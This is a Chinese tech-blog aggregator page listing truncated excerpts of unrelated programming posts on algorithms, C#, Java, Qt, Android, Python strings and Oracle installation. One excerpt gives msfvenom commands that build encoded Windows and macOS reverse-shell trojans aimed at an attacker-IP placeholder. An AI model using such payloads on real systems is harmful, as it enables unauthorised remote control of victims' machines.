【洛谷5339】[TJOI2019] 唱、跳、rap和篮球(容斥+NTT)

点此看题面 大致题意: 有\(4\)种人分别喜欢唱、跳、rap、篮球,且这\(4\)种人各有\(a,b,c,d\)个,现要从中选出\(n\)个人组成一个排列,使得不存在连续\(4\)个人按序分别喜欢唱、跳、rap、篮球,求方案数。 容斥 看到这题显然首先可以想到容斥。 我们设\(S(k)\)表示有至少\(k\)组人满足其按序分别喜欢唱、跳、rap、篮球。 则答案就是: \[\sum_{k=0}^{min(\lfloor\frac n4\rfloor,a,b,c,d)}(-1)^kS(k)\]
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

treeview判断节点是不是已存在

/// <summary> /// 判断treeView的节点是否已存在 treeView1.Nodes[0].Nodes /// </summary> /// <param name="text"></param> /// <returns></returns> private bool NodeExists(string text) { TreeNodeCollection treeNodes = treeView1.Nodes[0].Nodes; bool exist = false;
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

ros 配置open*

基于Mikrotik的RouterOS路由搭建OpenVPN服务 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [admin@DTOPS-OVH-SG-Router-Node1] > quitConnection closed by foreign host. [lookback@LookBack-MacBookPro ~]$ telnet 139.99.18.
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

通过实现25个数组方法来理解及高效使用数组方法()

原文 | https://dev.to/bnevilleoneill/understand-array-methods-by-implementing-them-all-of-them-iha译文 | https://blog.csdn.net/qq449245884/article/details/103573755 要在给定数组上使用方法,只需要通过[].方法名即可,这些方法都定义在 Array.prototype 对象上。在这里,咱们先不使用这些相,反,咱们将从简单的方法开始定义自己的版
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

Qt使用qmqtt

1.qmqtt是一个Qt的MQTT客户端协议库,可以进行mqtt客户端的开发,下载地址是:https://github.com/emqx/qmqtt 2.下载出来的是源码,使用的话需要自己编译,请使用qt5.3及以上版本编译,在windows平台的话还得指定CONFIG += NO_UNIT_TESTS;如果要支持websocket的话请使用qt5.7及以上版本,同时需要配置CONFIG += QMQTT_WEBSOCKETS 3.打开工程文件,选择src执行qmake,然后点击构建即可生成相
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

java 超详细面经整理(持续更新)2019.12.23

目录 请说明List、Map、Set三个接口存取元素时,各有什么特点? 请你讲讲数组(Array)和列表(ArrayList)的区别?什么时候应该使用Array而不是ArrayList? 阐述ArrayList、Vector、LinkedList的存储性能和特性 补充:Java中Vector和ArrayList的区别(java1.pdf中有2者的比较) 请判断List、Set、Map是否继承自Collection接口? 请说明Collection 和 Collections的区别。 请你说明H
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

回调函数是什么,它根本问题到底是什么

下面的代码就是回调函数的例子 ajax(url, () => { // 逻辑处理部分 }) 上述代码中的url会立即发出请求,而箭头函数中的部分会作为异步处理 回调函数很容易写出回调地狱(多个回调函数嵌套)如下: ajax(url, () => { // 逻辑部分 ajax(url1, () => { // 逻辑部分 ajax(url2, () => { // 逻辑部分 }) }) }
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

msfvenom各平台木马生成

windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f exe -opayload.exe mac: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IPLPORT=攻
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

志愿者信息服务网

新建一个javaweb工程,如图新建包与类 源代码如下 CourseDao.java: package src.dao; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.ArrayList; import java.util.List; import src.entity.Course
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

将外部jar包手动添加到本地仓库(十三)

1. 在cmd 中定位到 jar所在的位置 2. 输入 mvn install:install-file -DgroupId=com.alipay -DartifactId=trade-sdk -Dversion=1.0.0 -Dpackaging=jar -Dfile=alipay-trade-sdk-1.0.0.jar -DgroupId:表示jar对应的groupId -DartifactId: 表示jar对应的artifactId -Dversion: 表示jar对应的 version
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

格式化输出_python

一、直接使用 + a='chen' b='xiao' c='zan' print(a+b+c) 二、利用占位符 % %s:占位符;%d:整数;%x:十六进制;%f:浮点数(默认6位小数) 特别注意浮点数: 指定长度:          %5d     右对齐,不足左边补空格         %-5d    - 代表左对齐,不足右边默认补空格         %05d    右对齐,不足左边补0          浮点数:           %f       默认是输出6位有效数据, 会进
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

Android启动过程 android点击桌面App图标activity启动流程 Android启动过程

android点击桌面App图标activity启动流程 1、点击桌面App图标,Launcher进程采用Binder IPC向system_server进程发起startActivity请求; 2、system_server进程接收到请求后,向zygote进程发送创建进程的请求; 3、Zygote进程fork出新的子进程,即App进程; 4、App进程,通过Binder IPC向sytem_server进程发起attachApplication请求; 5、system_server进程在收到
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

python_字符串相关操作

字符串开头结尾 str.endwith('.txt') #判断字符串是否以某些字符结尾 str.stratwith('lung') #判断字符串是否以某些字符串开头 判断含有数字等符号 str.isdigit() #判断字符串是否为数字 str.isalpha() #判断字符串是否为字母 str.isalnum() #判断字符串是否为数字和字母的组合
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

并发艺术--java并发机制的底层实现原理

前言   Java代码在编译后会变成Java字节码,字节码被类加载器加载到JVM里,JVM执行字节码,最终需要转化为汇编指令在CPU上执行,Java中所使用的并发机制依赖于JVM的实现和CPU的指令。 一、volatile的应用   在多线程并发编程中synchronized和volatile都扮演着重要的角色,volatile是轻量级的synchronized,它在多处理器开发中保证了共享变量的“可见性”。可见性的意思是当一个线程修改一个共享变量时,另外一个线程能读到这个修改的值。如果vol
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

代码洁癖症轻度患者-页面显示状态判断解决方案

代码洁癖症中轻度患者 如下图所示,要在页面上根据状态码来显示不同的文字,直接在页面上就进行判断了,个人感觉这样影响代码的美 可以用如下方式代替,当然上肯定得有一些后台处理 后台处理如下 1,在tempData对就的这个实体类中加入stausStry这个字段 2,新建一个TempStatusENUM public enum TempStatusENUM { ONE("1", "会考虑引进"), TWO("2", "审核中"), THREE("3", "不采用"); private
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

spring中的BeanFactoryPostProcessor

spring中的BeanFactoryPostProcessor和BeanPostProcessor有些像,BeanPostProcessor是在bean的初始化前后进行一些操作, BeanFactoryPostProcessor是在所有的bean定义信息已经加载但还没有实例化时,执行方法postProcessBeanFactory() public interface BeanFactoryPostProcessor { /** * Modify the applicat
分类: 其他 发布时间: 12-23 20:50 阅读次数: 0

JavaScript图形实例:正多边形

圆心位于坐标原点,半径为R的圆的参数方程为 X=R*COS(θ) Y=R*SIN(θ) 在圆上取N个等分点,将这N个点首尾连接N条边,可以得到一个正N边形。 1.正多边形阵列 构造一个8行8列的正N(N为3~10)边形阵列。编写如下的HTML代码。 <!DOCTYPE html> <head> <title>正多边形阵列</title> <script type="text/javascript"> function draw(id) { var canvas=document.getElem
分类: 企业开发 发布时间: 12-23 20:50 阅读次数: 0

水果生鲜行业怎么搭建微信商城

  很多传统行业想通过互联网线上商城来开拓自己的市场,一般有几种形式,通过传统的电商平台来开店,如淘宝等;也可以自建商城,还有就是搭建微信商城。  而传统的电商平台竞争压力大,获客成本高,所以不在很多线下门店的考虑范围之内,而自建商城成本不是一个平台的线下门店能承受得了的,所以大多都选择搭建微信商城。  传统的水果行业现状  难题1:社区日臻成熟,行业竞争激烈  小区门口水果店铺、小商贩、菜市、附
分类: 移动开发 发布时间: 12-23 20:40 阅读次数: 0

webview组件详解

ViewController.m文件凡是能在原生界面上能看到的都是视图,只是视图的类型不同,混合开发就是一部分功能是由网页完成的webview组件内置了一个轻量级的浏览器,把我们的html代码渲染出来,是一个特殊的视图,能够展示视图,解析视图。第一步创建webview视图UIWebView*webview=[[UIWebViewalloc]initWithFrame:CGReactMake(100
分类: 移动开发 发布时间: 12-23 20:40 阅读次数: 0

Oracle12c Linux x86-64版本安装

1.添加一块新硬盘并格式化[root@localhost~]#cd/dev[root@localhostdev]#ls[root@localhostdev]#fdisk/dev/sdb[root@localhostdev]#mkfs-txfs/dev/sdb12.创建orc目录[root@localhostdev]#mkdir/orc3.修改主机名[root@localhost~]#vim/etc
分类: 数据库 发布时间: 12-23 20:40 阅读次数: 0